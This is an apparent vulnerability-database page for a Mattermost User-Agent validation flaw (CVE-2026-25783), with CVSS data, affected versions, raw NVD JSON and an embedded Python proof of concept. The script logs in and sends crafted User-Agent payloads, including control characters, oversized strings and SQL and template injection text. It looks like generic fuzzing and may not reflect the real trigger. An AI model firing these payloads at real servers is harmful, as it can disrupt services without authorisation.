Security Vulnerability Report
中文
CVE-2026-25783 CVSS 4.3 MEDIUM

CVE-2026-25783

Published: 2026-03-16 14:18:24
Last Modified: 2026-03-18 18:11:16

Description

Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 fail to properly validate User-Agent header tokens which allows an authenticated attacker to cause a request panic via a specially crafted User-Agent header. Mattermost Advisory ID: MMSA-2026-00586

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:* - VULNERABLE
Mattermost 11.3.x <= 11.3.0
Mattermost 11.2.x <= 11.2.2
Mattermost 10.11.x <= 10.11.10

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-25783 PoC - Mattermost User-Agent Header Validation Issue This PoC demonstrates sending a crafted User-Agent header that may trigger a request panic on vulnerable Mattermost instances. Note: This is for educational and authorized testing purposes only. """ import requests import sys def test_mattermost_panic(target_url, username, password): """ Test for CVE-2026-25783 by sending crafted User-Agent headers """ # Crafted User-Agent payloads that may trigger panic payloads = [ "\x00\x01\x02" * 100, # Null bytes and control characters "A" * 10000, # Excessive length "\"'; DROP TABLE users; --", # SQL injection attempt "{{.}} " * 500, # Template injection "\u0000\u0001" * 200, # Unicode control characters ] # Login to get session login_url = f"{target_url}/api/v4/login" login_data = { "login_id": username, "password": password } try: response = requests.post(login_url, json=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") return False token = response.json().get('token') if not token: print("[-] No auth token received") return False print(f"[+] Login successful, token: {token[:20]}...") # Test each payload headers = { "Authorization": f"Bearer {token}", "User-Agent": None # Will be set per payload } for i, payload in enumerate(payloads): headers["User-Agent"] = payload try: # Make any API request with crafted User-Agent test_url = f"{target_url}/api/v4/users/me" resp = requests.get(test_url, headers=headers, timeout=10) print(f"[+] Payload {i+1} sent, status: {resp.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Payload {i+1} caused error (potential panic): {e}") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python3 poc.py <target_url> <username> <password>") print("Example: python3 poc.py https://mattermost.example.com user pass") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] Testing CVE-2026-25783 on {target}") test_mattermost_panic(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-25783", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:23.593", "lastModified": "2026-03-18T18:11:16.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost versions 11.3.x <= 11.3.0, 11.2.x <= 11.2.2, 10.11.x <= 10.11.10 fail to properly validate User-Agent header tokens which allows an authenticated attacker to cause a request panic via a specially crafted User-Agent header. Mattermost Advisory ID: MMSA-2026-00586"}, {"lang": "es", "value": "Las versiones de Mattermost 11.3.x &lt;= 11.3.0, 11.2.x &lt;= 11.2.2, 10.11.x &lt;= 10.11.10 no validan correctamente los tokens del encabezado User-Agent, lo que permite a un atacante autenticado causar un pánico de solicitud mediante un encabezado User-Agent especialmente diseñado. ID de Aviso de Mattermost: MMSA-2026-00586"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.11.0", "versionEndExcluding": "10.11.11", "matchCriteriaId": "B6E5F368-358C-429B-8F04-3C8DF4A71A91"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.2.0", "versionEndExcluding": "11.2.3", "matchCriteriaId": "7F64C167-943D-4F3F-9374-BCC8DECB3881"}, {"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:mattermost_server:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.3.0", "versionEndExcluding": "11.3.1", "matchCriteriaId": "945A6E29-209F-4992-8692-BEF63DCB6B98"}]}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}